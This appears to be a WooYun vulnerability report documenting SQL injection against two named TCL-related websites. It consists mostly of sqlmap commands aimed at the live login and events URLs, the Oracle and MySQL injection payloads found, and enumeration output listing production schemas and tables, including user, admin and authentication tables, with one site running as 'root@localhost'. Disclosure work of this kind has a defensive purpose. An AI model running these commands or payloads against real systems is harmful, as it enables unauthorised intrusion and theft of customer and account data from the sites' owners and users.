WooYun.org

站点1：
http://tclzmd.etwowin.com/
登录处没有做过滤，导致sql注射漏洞
sqlmap跑起来
[root@Hacker~]# Sqlmap sqlmap.py -u "http://tclzmd.etwowin.com//web/SubmitLogin.
do" --data "value(userName)=1" --dbs --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:40:50
[12:40:50] [INFO] resuming back-end DBMS 'oracle'
[12:40:50] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: value(userName)
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: value(userName)=1') AND 5752=(SELECT UPPER(XMLType(CHR(60)||CHR(58)
||CHR(101)||CHR(106)||CHR(112)||CHR(58)||(SELECT (CASE WHEN (5752=5752) THEN 1 E
LSE 0 END) FROM DUAL)||CHR(58)||CHR(108)||CHR(101)||CHR(99)||CHR(58)||CHR(62)))
FROM DUAL) AND ('utPT'='utPT
---
[12:40:50] [INFO] the back-end DBMS is Oracle
web application technology: Servlet 2.5, JSP, JSP 2.1, Nginx
back-end DBMS: Oracle
[12:40:50] [INFO] fetching current user
[12:40:50] [INFO] resumed: TW
current user: 'TW'
[12:40:50] [INFO] fetching current database
[12:40:50] [INFO] resumed: TW
current schema (equivalent to database on Oracle): 'TW'
[12:40:50] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[12:40:50] [INFO] fetching database (schema) names
[12:40:50] [INFO] the SQL query used returns 34 entries
available databases [34]:
[*] ACA
[*] AMITIME
[*] BOWEILE
[*] DBSNMP
[*] ETOWAY
[*] ETWBASE
[*] ETWINTF
[*] GJZX
[*] HZJE
[*] JENS
[*] LETESAEL
[*] MACRO
[*] MACROOTO
[*] MACROXJD
[*] NCA
[*] OUTLN
[*] POVOS
[*] POVOSFX
[*] POVOSPCP
[*] QINYUAN
[*] RSDFX
[*] SUNOJOY
[*] SYS
[*] SYSTEM
[*] TCLBX
[*] TCLKT
[*] TCLKTFX
[*] TCLXJD
[*] TSMSYS
[*] TW
[*] TWESHOP
[*] TWFUWU
[*] TWFX
[*] WMSYS
966张表，不全部跑完了
[12:42:22] [INFO] fetching tables for database: 'TW'
[12:42:23] [INFO] the SQL query used returns 966 entries
[12:42:24] [INFO] retrieved: SHOP_MEMBER_ADDR
[12:42:25] [INFO] retrieved: CPC_COLUMN
[12:42:25] [INFO] retrieved: SHOP_MEMBER_HEAD_RULE
[12:42:26] [INFO] retrieved: SHOP_MEMBER_LINE_RULE
[12:42:27] [INFO] retrieved: VENDOR_SITE
[12:42:27] [INFO] retrieved: SHOP_COURIER_COMPANY
[12:42:28] [INFO] retrieved: SHOP_SHOP_ACCREDIT_INFO
[12:42:29] [INFO] retrieved: SHOP_SPECIALPRICE_HEADER
[12:42:29] [INFO] retrieved: SHOP_SPECIALPRICE_LINE
[12:42:30] [INFO] retrieved: SHOP_SURPLUS_MONEY
[12:42:31] [INFO] retrieved: SHOP_USER
[12:42:32] [INFO] retrieved: SHOP_WAREHOUSE
[12:42:32] [INFO] retrieved: SMS_BAK
[12:42:33] [INFO] retrieved: STAFFINFO
[12:42:34] [INFO] retrieved: STUDENT
[12:42:34] [INFO] retrieved: TABLE1
[12:42:35] [INFO] retrieved: TABLE2
[12:42:36] [INFO] retrieved: TENANT_CUSTOMER
[12:42:36] [INFO] retrieved: TENANT_CUSTOMER_ROLE
[12:42:37] [INFO] retrieved: TESTFY
[12:42:38] [INFO] retrieved: TMP2010
[12:42:38] [INFO] retrieved: TRADE_INFO
[12:42:39] [INFO] retrieved: UOM
[12:42:40] [INFO] retrieved: USER_ACCESS_RELATION
[12:42:48] [INFO] retrieved: USER_AUTHENTICATE
站点2：
http://tclcom.tcl.com
sqlmap跑起来
sqlmap.py -u "http://tclcom.tcl.com/php/load_events.php" --data "year=1"--dbs --current-user --current-db
Place: POST
Parameter: year
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: year=1--dbs' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x
3a6f70673a,0x737455686c725349504d,0x3a646d6c3a), NULL, NULL, NULL, NULL, NULL#
---
[13:08:20] [INFO] testing MySQL
[13:08:21] [INFO] confirming MySQL
[13:08:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0.0
[13:08:22] [INFO] fetching current user
current user: 'root@localhost'
[13:08:22] [INFO] fetching current database
current database: 'tcl_bis'
Database: tcl_bis
[20 tables]
+---------------------------------------+
| admin |
| articles |
| career_categories |
| categories |
| directors |
| directorscat |
| events |
| financial_values |
| languages |
| links |
| media |
| offers |
| pages |
| pdf_research |
| research_report |
| result_announcement |
| sessions |
| text |
| unit_sales |
| users |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: mysql
[23 tables]
+---------------------------------------+
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------------------+